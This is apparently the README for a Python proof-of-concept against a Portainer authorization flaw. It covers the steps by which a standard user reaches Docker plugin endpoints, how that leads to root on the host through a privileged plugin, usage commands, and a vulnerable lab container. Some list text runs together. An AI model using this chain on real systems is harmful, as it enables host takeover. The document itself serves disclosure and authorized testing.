
PoC for CVE-2026-44848: Portainer missing authorization on Docker plugin endpoints -> host RCE (GHSA-rrmm-9v76-h3p4). Stdlib-only Python.
Proof-of-concept for CVE-2026-44848, a missing-authentication (CWE-862) vulnerability in Portainer that lets a non-admin user with Docker endpoint access perform privileged Docker plugin operations → full host RCE.
GitHub Security Advisory: GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (Critical).
Portainer enforces Role-Based Access Control (RBAC) on top of the Docker API by proxying
requests through per-resource handlers that apply authorization checks. The Docker
plugin management endpoints (/plugins/*) were not registered with a handler, so
the authorization layer never runs for them. As a result, a Standard User (Role 2) — or any
role granted endpoint-level access — can call privileged plugin operations directly against
the underlying Docker daemon:
POST /plugins/pull — pull an arbitrary plugin from any registryCAP_SYS_ADMIN and host-path mountsPOST /plugins/{name}/enable — Docker runs the plugin as root on the host with those
capabilities → full host filesystem access and equivalent to root on the Docker host>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0The core, safely reproducible primitive of the bug: a standard (non-admin) user can reach
the privileged /plugins/* Docker API through Portainer's proxy without authorization.
It does so end-to-end against a real vulnerable Portainer instance:
POST /api/users/admin/init (tolerates 409 + falls back to login).bob, Role 2), tolerating 409 by resetting his password.POST /api/endpoints if none exist) and grants bob access via
PUT /api/endpoints/{id} UserAccessPolicies.bob (the non-admin user) and calls
GET /api/endpoints/1/docker/plugins with bob's token.# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
Requires Python 3 stdlib only. TLS verification is disabled (self-signed lab certs).
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
For authorized security research and testing only. The enabling step (POST /plugins/*)
can grant root on the host; this PoC stops at demonstrating the authorization bypass and
does not enable a destructive/malicious plugin. Use only against systems you own or are
authorized to test.